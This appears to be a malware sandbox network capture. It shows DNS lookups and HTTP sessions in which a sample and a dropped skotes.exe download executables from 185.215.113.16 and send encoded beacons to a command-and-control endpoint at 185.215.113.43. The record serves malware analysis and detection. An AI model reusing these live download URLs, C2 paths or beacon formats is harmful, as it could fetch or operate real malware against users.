Oct 31, 2024 05:08:12.580594063 CET	1.1.1.1	192.168.2.4	0xc53	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:12.580594063 CET	1.1.1.1	192.168.2.4	0xc53	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:12.591515064 CET	1.1.1.1	192.168.2.4	0xfbdf	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.143233061 CET	1.1.1.1	192.168.2.4	0xc9a8	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:24.143233061 CET	1.1.1.1	192.168.2.4	0xc9a8	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.144201994 CET	1.1.1.1	192.168.2.4	0xdd86	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.144234896 CET	1.1.1.1	192.168.2.4	0xe484	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.144246101 CET	1.1.1.1	192.168.2.4	0x7f9d	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:24.184927940 CET	1.1.1.1	192.168.2.4	0xadf3	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:24.184927940 CET	1.1.1.1	192.168.2.4	0xadf3	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.187541008 CET	1.1.1.1	192.168.2.4	0x2525	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.232858896 CET	1.1.1.1	192.168.2.4	0xadf3	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:24.232858896 CET	1.1.1.1	192.168.2.4	0xadf3	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.247021914 CET	1.1.1.1	192.168.2.4	0xd99	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.266264915 CET	1.1.1.1	192.168.2.4	0x3e72	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:24.804451942 CET	1.1.1.1	192.168.2.4	0x1982	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.777950048 CET	1.1.1.1	192.168.2.4	0x4192	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.778176069 CET	1.1.1.1	192.168.2.4	0xb4b0	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:27.778176069 CET	1.1.1.1	192.168.2.4	0xb4b0	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.778598070 CET	1.1.1.1	192.168.2.4	0x8650	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:27.778598070 CET	1.1.1.1	192.168.2.4	0x8650	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.785842896 CET	1.1.1.1	192.168.2.4	0xe59f	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.786643028 CET	1.1.1.1	192.168.2.4	0x6428	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.787091970 CET	1.1.1.1	192.168.2.4	0x74fc	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.794121027 CET	1.1.1.1	192.168.2.4	0x3a89	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 05:08:27.794121027 CET	1.1.1.1	192.168.2.4	0x3a89	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 05:08:27.794121027 CET	1.1.1.1	192.168.2.4	0x3a89	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 05:08:27.794121027 CET	1.1.1.1	192.168.2.4	0x3a89	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 05:08:27.795277119 CET	1.1.1.1	192.168.2.4	0xaf62	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 31, 2024 05:08:27.795598030 CET	1.1.1.1	192.168.2.4	0x182e	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 31, 2024 05:08:27.806052923 CET	1.1.1.1	192.168.2.4	0x675b	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.806066990 CET	1.1.1.1	192.168.2.4	0x3357	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 05:08:27.806066990 CET	1.1.1.1	192.168.2.4	0x3357	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.806066990 CET	1.1.1.1	192.168.2.4	0x3357	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.806066990 CET	1.1.1.1	192.168.2.4	0x3357	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.806066990 CET	1.1.1.1	192.168.2.4	0x3357	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.815562010 CET	1.1.1.1	192.168.2.4	0x6df8	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.816504955 CET	1.1.1.1	192.168.2.4	0x50e8	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.816504955 CET	1.1.1.1	192.168.2.4	0x50e8	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.816504955 CET	1.1.1.1	192.168.2.4	0x50e8	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.816504955 CET	1.1.1.1	192.168.2.4	0x50e8	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 31, 2024 05:08:27.857341051 CET	1.1.1.1	192.168.2.4	0xb5e8	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:06:32.903436899 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 05:06:33.849210978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:06:33 GMT Content-Type: application/octet-stream Content-Length: 2809344 Last-Modified: Thu, 31 Oct 2024 02:58:51 GMT Connection: keep-alive ETag: "6722f26b-2ade00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +&+`Ui` @ @.rsrc`2@.idata 8@ucxgvins\|:@nulvttal +@.taggant@@+"@
Oct 31, 2024 05:06:33.849231005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849241972 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849251032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849261045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849272966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849282980 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849293947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849304914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 05:06:33.849317074 CET	1236	IN	Data Raw: 61 b5 4b 74 e1 a1 0e 91 4c 76 d9 c6 10 a2 0d 86 f1 1c 0f cb 4b d2 ff 18 05 06 fe 6f 1c e1 16 a3 4f bf 6a 3a 15 a9 05 e7 5f 0c f9 b2 4d d9 0c 05 ac aa 06 2e e7 10 14 d7 d0 0e 1a 45 6a 2a d1 6e 75 e4 0e 1e 15 c4 a4 75 34 b5 dc d9 4b 54 04 c6 58 09 Data Ascii: aKtLvKoOj:_M.Ej*nuu4KTXr+6SXbq0B]O1@]I@ivYJB{_WI/kuE:yDI=fprkK5ZfR$V
Oct 31, 2024 05:06:33.854295015 CET	1236	IN	Data Raw: 0a f3 7e 63 b9 0d ee 83 73 d6 f7 85 79 cd cb e0 1a 86 83 e3 39 e6 d7 54 7b f0 c7 36 2c 65 8d ed 81 cd ca 92 f0 e5 f6 f3 6b e4 96 ae 90 60 fe a4 17 34 0c 83 24 2c d7 ba 5d 9a fd 0c 80 4d ca 58 b1 a1 d1 6f 8e d2 ca 01 13 7d 4a 24 b7 45 c5 86 87 d2 Data Ascii: ~csy9T{6,ek`4$,]MXo}J$Eq`sZ M\GRFsE$g+bR#RWyj[Iqxvef)zg+gMRy!17a&KnaFPy3+i
Oct 31, 2024 05:06:36.712165117 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 05:06:37.001612902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:06:36 GMT Content-Type: application/octet-stream Content-Length: 1904640 Last-Modified: Thu, 31 Oct 2024 04:05:08 GMT Connection: keep-alive ETag: "672301f4-1d1000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf K@PK]@WkTJJ @.rsrc@.idata @ `*@axzfwsyi1@hvubbrkgK@.taggant0 K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49781	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:03.701535940 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 05:07:04.635196924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49797	185.215.113.43	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:06.156805992 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 05:07:07.090655088 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 32 37 38 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 38 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 37 38 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 38 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1002784001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002785001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002786001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002787001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49803	185.215.113.16	80	7096	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 05:07:07.102971077 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 05:07:08.000747919 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 04:07:07 GMT Content-Type: application/octet-stream Content-Length: 2928128 Last-Modified: Thu, 31 Oct 2024 04:04:47 GMT Connection: keep-alive ETag: "672301df-2cae00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 c0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 2f 00 00 04 00 00 c5 e5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ/@/,@Th@ ~@.rsrc@@.idata @yswfrwhx*)@eypvdvsa/,@.taggant0/",@
